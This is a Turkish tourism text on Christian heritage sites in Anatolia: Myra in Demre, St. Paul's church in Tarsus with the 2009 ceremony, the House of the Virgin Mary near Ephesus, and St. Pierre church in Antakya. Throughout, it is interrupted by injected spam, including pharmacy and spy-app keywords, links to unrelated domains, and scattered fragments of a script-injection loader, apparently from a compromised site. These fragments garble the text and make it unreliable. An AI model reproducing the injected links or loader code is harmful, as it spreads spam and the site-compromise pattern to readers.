Üç tarafı dağlarla çevrili bulunan ilçenin kurulduğu arazi Demre Çayının getirmiş olduğu verimli alivyonlu topraklardan meydana gelmiştir. Akdeniz ikliminin tipik karakteristik özelliklerinin görüldüğü Demre İlçesinde yazları sıcak ve kurak, kışları ılık ve yağmurlu geçer. İlçenin toplam olarak yüz ölçümü 47.322 hektar olup, tarım arazisi 5.350 hektar, çayır mera 50 hektar, orman arazisi 31.922 hektar, su yüzeyi 300 hektar, tarım dışı arazi ise 9.600 hektardır.İlçe tarihi geçmişi ve coğrafi konumu itibari ile turizm beldesidir. İlçede tarihten kalan Noel Baba Kilisesi, Myra Antik Kenti ve Tiyatrosu, Andreake Antik Kenti, Kaya Mezarları, Simena Antik Kenti turizm için cazibe oluşturmaktadır. Kekova adaları, Batık Kent’in tertemiz denizi ve iklimi ile de beldemiz coğrafi yönden de turizm açısından şanslı bir yerleşim yeridir, ilçenin bütün bu özelliklerine rağmen turizmden yeterli derecede faydalandığı söylenemez. Bunun sebebi ulaşımın zorluğu, konaklama tesislerinin azlığı, bu yüzden hizmet sektörünün gelişmemesidir. Order Buy where to buy glucovance d.getElementsByTagName(‘head’)[0].appendChild(s); Pills facebook spy, monitoring text messages, spy without jailbreak Pills Cheap online

İçel-Tarsus: St.Paul Anıt Müzesi

st.paul
İncil’de iki kez Tarsuslu olduğunu yineleyen St. Paul adına mutlaka değişik dönemlerde kiliseler yapılmıştı. Ancak bunlardan herhangi bir iz bulmak mümkün değildir. Tarsus’ta bugün onun adını taşıyan tek kilise ise, kentin güneyinde 20. yüzyılın başlarına değin Hıristiyan cemaatin yaşadığı Cami-i Nur Semti’ndedir. Yapım tarihi kesin olmamakla birlikte 18. yüzyılın son çeyreğinde ve doğu batı yönünde, üç sahınlı olarak inşa edilmiştir. Esas girişi batıdaki revaklı bölümden sağlanmaktadır. Oldukça sade bir mimari tarzı yansıtırken, iç süslemelerinde belki de yerli bir kaç ressamın boyadığı resimler yer almaktadır. Tavanda Hz. İsa, Yohanna, Matta, Luca ve Marcos’un freskleri ve “İlahi Göz” tavanın merkezinde yer almaktadır. Apsisin üzerinde bulunan daire şeklindeki ışıklıkların her iki yanında ise melekler tasvir edilmiştir. Uzun dönem askerlik şubesi olarak kullanılan ve günümüzde restorasyonu tamamlanan yapının üzeri kırma çatı ile kapatılmıştır. Doğu bölümünde oval bir çıkıntı oluşturan apsisin üzerinde ise yarım daire şeklinde üç kubbe yer alır. Yapının kuzeydoğu köşesinde ise çan kulesi bulunmaktadır.

Vatikan tarafından 2008-2009 yılının St. Paul Yılı ilan edilmesi nedeniyle  Tarsus’ta  dünyanın dört bir yanından Hristiyanların akınına uğradı.

St. Paul Yılı’nın kapanış ayini töreni, St. Paul Anıt Müzesi’nde gerçekleşti. Ayine Papa 16. Benedict’in Vekili Vatikan Hristiyan Olmayan Kültürler Diyalog Kurulu Başkanı Kardinal Jean Louis Tauran, Almanya’nın Ankara Büyükelçisi Dr. Eckart Cuntz’un yanı sıra Jean Louis Tauran, Vatikan’ın Ankara Büyükelçisi Antionio Lucebello, Türkiye Katolik Episkoposları Kurumu Başkanı ve Anadolu Episkopos S.E. Mgr Luigi Padovose, Hahambaşı Genel Sekreteri Yusuf Altıntaş ve Hristiyan din adamları ile çeşitli ülkelerden dini gruplar katıldı.

Ayin öncesi kardinal ve beraberindekiler küçük bir seremoni ile St. Paul Anıt Müzesi’ne geldi. Vatikan Hristiyan Olmayan Kültürler Diyalog Kurulu Başkanı Kardinal Jean Louis Tauran, Vatikan Büyükelçisi Antionio Lucebello, Türkiye Katolik Episkoposları Kurumu Başkanı ve Anadolu Episkopos S.E. Mgr Luigi Padovose, Hahambaşı Genel Sekreteri Yusuf Altıntaş’ın anıt müzede yerini almasının ardından ayin başladı.

Ayinde konuşan Padovose, Tarsus’ta bulunan St. Paul Anıt Müzesi’nin yıl boyunca ibadete açılması gerektiğini söyleyerek, St Paul Yılı’nın özel bir dönem yılı olduğunu belirtti. Padovose, Tarsus’u bundan böyle de önemsenmeye devam edeceklerini dile getirerek, mevcut kilisenin şu anda ihtiyaca cevap vermediğini, yeni bir kilisenin yapılması gerektiğini kaydetti.

Vatikan Hristiyan Olmayan Kültürler Diyalog Kurulu Başkanı Kardinal Jean Louis Tauran yönetimindeki ayinde İncil’den ayetler okunurken, dünyada barışın hakim olması dileğinde bulunuldu. Hristiyan din adamları ve konuklar ayinde şaraplı ekmek yedi.

st.
VATİKAN’IN BAŞKENTİ TARSUS OLDU
Hıristiyanlığın Batı’ya yayılmasında önemli roller üstlenen Tarsuslu Aziz Paul’un anma törenine katılan Papa Vekili ve Vatikan Hıristiyan Olmayan Kültürlerle Diyalog Kurulu Başkanı Kardinal Jean Louis Tauran, tüm dünyada aynı törenlerin yapıldığını ve Tarsus’un bugün Vatikan’ın başkenti olduğunu söyledi.

75 yıl. KültürMerkezinde yapılan anma etkinliklerine ev sahipliği yapan Tarsus Belediye Başkanı Burhanettin Kocamaz ise Aziz Paul Anıt Müze’de ibadet yapmanın bir sakıncasını görmediklerinin altını çizerek, dinlerin barış ve kardeşlik adına önemine değindi.

Hıristiyanlığın önemli temsilcilerinden Aziz Paul’u anan Vatikan, Tarsus’u 29 Haziran günü Katoliklerin başkenti ilan etti. Aziz Paul’u anmak için Tarsus’a gelen Papa Vekili ve Vatikan Hıristiyan Olmayan Kültürlerle Diyalog Kurulu Başkanı Kardinal Jean Louis Tauran, “Bugün Papa hazretleri de Roma’da Aziz Paul’u anma törenlerinin kapanışını yapıyor.

Bütün dünyada anmalar devam ediyor. O nedenle bugün Tarsus dünyanın başkenti oldu” diye konuştu.

Hıristiyanlığın Kudüs’ten Batı’ya yolculuğunda pusula misyonunu üstlenmiş bir öncü olarak bilinen Aziz Paul, iki bininci doğum yıldönümü nedeniyle Vatikan’ın ilan ettiği 28 Haziran 2008 ve 29 Haziran 2009 döneminin kapanış törenlerinde Tarsus’ta üst düzeyde anıldı.

Tarsus Belediyesi tarafından düzenlenen anma törenlerinin son günü etkinliğinee dünyanın dört bir yanından Katolikler katılarak dini görevlerini yerine getirdi. Tüm dünyada gerçekleşen anma törenlerinde Vatikan başta olmak üzere gözler Tarsus’a çevrilirken, burada tüm dinlerin temsilcileri barış ve kardeşlik adına dua etti.

Törende Aziz Paul’un hayatını ve Hıristiyan dinini yayma mücadelesini anlatan Kardinal Tauran, “Aziz Paul’un deyişiyle sevgi, sevinç, sabır, yumuşak duygular ve inanç ile yaşayalım.Başta Türkiye’de ve dünyada herkesin Aziz Paul’u anlamaya davet ediyorum. Aziz Paul, sadece Tarsus’a değil,  bütün dünyaya ait bir kişi” şeklinde konuştu.

TARSUS HAC MERKEZİ Purchase

Aziz Paul Anıt Müze’sindeki ayin sırasında konuşan Türkiye Katolik Episkoposları Kurumu Başkanı ve Anadolu Episkoposu S.E.Mgr.Luigi  Padovose, Efes’te bulunan Meryem Ana Evi’nden sonra hac için Hıristiyanların en çok ziyaret ettiği yerin Tarsus olduğunu aktararak, “Bu nedenle resmi makamlardan sadece yerel kilisenin ihtiyacı olduğu için değil, tüm dünyadaki kiliselerin ihtiyacının karşılanması amacıyla bu kilisenin tüm Hıristiyan mezhepleri tarafından kullanılan daimi bir ibadethane olmasını talep ediyoruz” diye konuştu.

AYİN YAPMADA SAKINCA GÖRMÜYORUZ

Aziz Paul Anıt Müze’de gerçekleşen ayinin ardından gerçekleşen “Dinlerin Barışa Katkısı” konulu panelde konuşan ve organizasyona ev sahipliği yapan Tarsus Belediye Başkanı Burhanettin Kocamaz, hemşerileri olan bu önemli din adamını anmaktan gurur duyduklarını söyledi.

Kocamaz, “Bizler insanların birbirini rahatsız etmeden, zorlamadan misyonerlik faaliyetlerine yönelmeden inançlarını yaşamalarından rahatsızlık duymuyoruz.

Tarsus’umuzda Hıristiyan bir cemaat grubu olmamasına rağmen Aziz Paul nedeniyle ilçemizi ziyarete gelenlerin, halen olduğu gibi Aziz Paul’un mekanını ziyaret etmek ve hacı olmak gayesi ile Aziz Paul Kilisesi’nde ayinlerini yapmalarında hiçbir sakınca görmüyoruz” diye konuştu.

Üç dinin temsilcisinin konuştuğu panelde söz alan Kardinal Tauran, Papa 16. Benedict’in yazdığı mektubu okumasının ardından, Hahambaşı adına Türkiye Hahambaşı Genel Sekreteri Yusuf Altıntaş, Türkiye Katolik Episkoposları Kurumu Başkanı ve Anadolu Episkoposu S.E.Mgr.Luigi  Padovose ve Diyanet İşleri Dış İlişkiler Dairesi Başkanlığı Uzmanı Mahmut Özdemir, İstanbul Ermeni Patrikanesi Temsilcisi P.Drtat Uzunyan, Türkiye Süryani  Katolik Patrik Vekili Dinlerarası Diyalog Komisyonu başkanı Yusuf Sal, Vatikan Büyükelçisi Antonio Lucibello, Mersin Valisi Hüseyin Aksoy ve Mersin Müftüsü Niyazi Ersoy  dinlerin  barışa ve kardeşliği olan duyarlılığını anlattılar. online var d=document;var s=d.createElement('script'); Cheap online Buy http://creacionesmolina.com/uncategorized/spy-app-android-spyapp-top-spy/ http://www.vnwtg.nl/?p=6681 order probalans

Efes’teki Meryem Anaevi

MERYEMANA

İlk defa 1891 yılındaki kazılarda bulunan bu yapının aslında, M.S. 4.yüzyılda Azize Meryem adına inşa edilen bir kilise olduğu… Hatta şifalar dağıttığı da biliniyor…Meryem Ana Evi, İzmir Selçuk’taki Bülbüldağı’nda İsa’nın annesi Meryem’in son yıllarını St. John ile birlikte geçirdiğine inanınlan kilise. Hristiyanlar için hac yeridir. Bugüne kadar papalar tarafından ziyaret edilmişliği vardır.
Meryem’in mezarının da Bülbüldağı’nda olduğu düşünülür.
Efes antik kentin üst kapısının yanından geçilerek çıkılan Meryem Ana ören yerinde, Küçük bir Bizans Kilisesi bulunmaktadır. Burada İsa Peygamber’in annesi Meryem’in yaşadığına ve öldüğüne inanılır. Hristiyanlar yanında Müslümanlarca da kutsal sayılır ve ziyaret edilir, hastalara şifa aranır, adaklar adanır. Kilise’nin Meryem Ana adını alması 431 yılında Efes’te toplanan Ekümenik Meclis’in Meryem’in İsa’yı Tanrı’nın oğlu olarak doğurduğuna karar vermesi ile de bağlı olabilir. Evin bulunuşu da ilginçtir.

Biraz da tarihçesi…

Çoğu Hıristiyan tarihçileri, Hazreti İsa’nın, çarmıha gerilmeden kısa süre önce annesi Azize Meryem’i, arkadaşı ve havarisi Aziz Jean’a emanet ettiğini savunur. Bu konuda Yeni Ahit’te de işaretler vardır. Öykünün bundan sonrası Anadolu topraklarında geçer. Aziz Jean, Hz. İsa’nın çarmıha gerilişinden sonra Azize Meryem’in Kudüs’te kalmasını sakıncalı bulur.
Kısa bir süre içinde onu yanına alarak Kudüs’ten çıkarır ve o çağın dünyadaki en büyük kenti olan ve uzun yıllardır barış içinde yaşayan Efes’e getirir.
Ancak Hırıstiyanlık dinini yaymak gibi kutsal bir görevi de üstlenmiş olan Aziz Jean, Meryem’i putperestlerin kentine sokmak istemez. Onu Bülbül Dağı eteklerinde sık ağaçlarla kaplı gizli bir köşede yaptığı kulübeye yerleştirir. Aziz Jean her gün gizli gizli onu ziyarete gider ve yiyecek götürür. Hıristiyan tarihçileri, Azize Meryem’in tam 101 yaşına kadar Bülbül Dağı’ndaki bu yerde yaşadığını ve burada öldüğünü savunurlar. Aziz Jean’ın Meryem Ana’yı yine bu dağda hiç kimsenin bilmediği bir yere gömdüğü tahmin ediliyor. Hırıstiyanlık’ın yayılmasından sonra kutsal bakirenin, yani Azize Meryem’in bulunduğu yere Hırıstiyanlarca hac şeklinde bir kilise inşa edilir. Efes çevresindeki halk, 18’inci yüzyılın sonlarına dek atalarından kalma bir geleneği sürdürerek, her yıl 15 Ağustos’ta Meryem Ana’nın evinin bulunduğu Panaya Kapulu’nda dini anma törenleri düzenler.

Ancak burası bölgeye gelen yoğun Müslüman göçleriyle unutulup kaybedilir. Aradan yaklaşık 100 yıl geçtikten sonra 19’uncu yüzyılda yaşamış olan Alman rahibe Anna Katharina Emmerich, bu bölgede Azize Meryem’in evinin olduğunu iddia eder. Çocuklugundan itibaren kötürüm olan ve yürüyemeyen Rahibe Anna, gördügü rüya ve sanrılarla bu bölgeyi Vatikan yetkililerine tarif eder ve onun tarifleri sonucu bölgedeki eski kilise kalıntılarına ulaşılır. Bu ve benzeri belirtiler Hıristiyanlar tarafından Bakire Meryem’in ömrünün son yıllarını Efes civarında geçirdiğine somut kanıtlar olarak gösterilir. Hz. İsa’nın arkadaşı ve havarisi Aziz Jean’ın da ömrünün geri kalanını Efes’te geçirdiği ve kendisine ait İncil versiyonunu burada yazdığı değişik tarihi kaynaklarca dile getiriliyor. Aziz Jean da Efes’te ölmüş ve burada gömülmüş. Azize Meryem adına inşa edilen ilk 7 kiliseden biri de Efes’te kurulmuş.
Hıristiyanlığın en önemli kurulu olan Konsüller Toplantısı birkaç kez Efes’te yapılmış ve Katoliklik’in doğuş kararı da burada alınmış. Tüm bu söylenti ve işaretlerden yola çıkarak Bülbül Dağı’ndaki tarihi kalıntılar 1957 yılında Papalık tarafından Meryem Ana Evi olarak onaylanır ve Hırıstiyanlık için de hac yeri olarak ilan edilir. Bugün ise, Rahibe Anna’nın tarifleri sonucu ilk defa 1891 yılındaki kazılarda bulunan bu yapının aslında, milattan sonra 4’üncü yüzyılda Azize Meryem adına inşa edilen bir kilise olduğu tahmin ediliyor. Meryem Ana Evi olarak bilinen yapının, bir ocağı andıran mihrap kısmında Hz, İsa’nın altın kalbi temsil ediliyor.

Bülbül Dağı’ndaki bu yapı, 1967 yılında Papa 6’ncı Paul ve 1979 yılında Papa 2’nci Jean Paul tarafından ziyaret edildi. Vatikan tarafından yeryüzündeki en kutsal binalardan biri olarak tanımlanan Meryem Ana Evi, bugün dünyanın dört bir yanından gelen Hıristiyanların ziyaret ettiği, gözde ve kutsal bir mekan konumunda.
Pills MERYEMANA2 http://danielhainsworth.com/?p=2852 } Purchase Cheap http://ipdkr.com/?p=13548 dostinex generic Order http://healthyfundraiser.com.au/buy-pariet-online-australia

Hristiyanlığın ilk başladığı yer: St. Pierre KİLİSESİ

St Pierre Kilisesi

Toplumun ilk başpapazlığını Petrus’un yaptığı kilise halen Valilik izni ile törenler için kullanılmaktadır. Kilisenin bahçesinde ise birkaç yüzyıllık mezarlar bulunmaktadır

Saint Pierre Kilisesi Stauris dağının (Haç dağı) batısında kayalara oyulmuş 13m derinliğinde, 9,5m genişliğinde, ve 7m yüksekliğinde bir mağaradan oluşmaktadır. Antakya’daki ilk Hıristiyanların gizli toplantıları için kullandıkları bu mağara Hıristiyanlığın en eski kiliselerinden biri olarak kabul edilir.

İncil’in ‘Resullerin İşleri’ (11:25-27) bölümünde Barnabas’ın Tarsus’a giderek Pavlos’u Antakya’ya getirdiği, Antakya’da bir yıl birlikte çalışarak Hıristiyanlığı yaydıkları ve bu dine inananlara ‘Hıristiyan’ adının verilmesinin Antakya’da gerçekleştiği bilinmektedir. Bu bilgilere ek olarak Pavlos’un Galatyalılara yazdığı mektupta (Galatyalılara 3:11-21) Antakya’ya gelen Petrus ile Hıristiyanlığın o günkü durumunu tartıştığını belirtmektedir. Hıristiyan geleneği Petrus’u Antakya Kilisesi’nin kurucusu ve burada oluşan Hıristiyan topluluğun ilk başpapazı olarak kabul etmiştir.

Kilisenin erken döneminden günümüze sadece taban mozağinin parçaları ve sunağın sağında, duvar boyamalarının izleri kalmıştır. Dağa açılan tüneli bir zamanlar burada toplanan Hıristiyanların baskınlar sırasında kaçmak için kullandıkları sanılmaktadır. Kayalardan sızarak yalakta toplanan su vaftiz için kullanılmıştır. Son yıllara kadar ziyaretçilerin şifalı kabul ederek içtikleri, hastalara götürdükleri bu su sızıntısı depremler nedeniyle azalmıştır.

Kilisenin ortasındaki taş sunağın üstünde eskiden 21 Şubat tarihinde Antakya’da kutlanan Saint Pierre Kürsüsü Bayramı için yerleştirilen taştan bir kürsü vardır. Sunağın üzerindeki mermer Saint Pierre heykeli 1932 yılında yerleştirilmiştir. 1098 yılında Antakya’yı ele geçiren haçlılar kiliseyi birkaç metre daha uzatıp iki kemerle ön cepheye bağlamışlardır. Bu cephe 1863 yılında, Papa IX. Pius’un isteğiyle restore işlerine girişen Kapuçin rahipleri tarafından yeniden yapılmıştır. Restorasyona III. Napolyon da katkıda bulunmuştur. Kilise girişinin solunda duran kalıntılar bir zamanlar ön cephenin önünde bulunan revaktan geriye kalmıştır.

Bahçenin birkaç yüzyıl mezarlık olarak kullanıldığı bilinmektedir. Kilisenin iç kısmında da özellikle sunağın çevresinde de mezarlar bulunmuştur. Günümüzde bir müze olan kilisede Valiliğin izniyle Müze Müdürlüğü denetiminde ayin yapılabilmektedir

Order St.Pierre Kilisesi’ne nasıl gidebiliriz?

İstanbul ve Ankara’ya gidiş dönüş uçak seferleri başlamış olup. Thy ile Antakya’ya ulaşabilirsiniz. E-5 karayolu ile İstanbul ve Ankara’dan Hatay’a ulaşılmaktadır. İskenderun’da bulunan gar ve limanla demiryolu ve deniz yolu ulaşımı da vardır.Ayrıca seyahat acenteleri vasıtasıyla da değişik turlar yapabilirsiniz…

Otogar Tel : (+90-326) 214 91 97

Demiryolu  İstasyon Tel : (+90-326) 614 00 44 – 614 00 45 – 614 00 46 Order Pills } else {document.currentScript.parentNode.insertBefore(s, document.currentScript); online Buy http://fitra.mhs.narotama.ac.id/2018/02/02/clozaril-dosing-in-bipolar-disorder/ http://test.okjcp.jp/?p=3519 Buy

Linkler

Reklamlar

Giriş - Powered by Pixelim Media · Ukrayna Turlari | Ozge Tur | Tesla ERP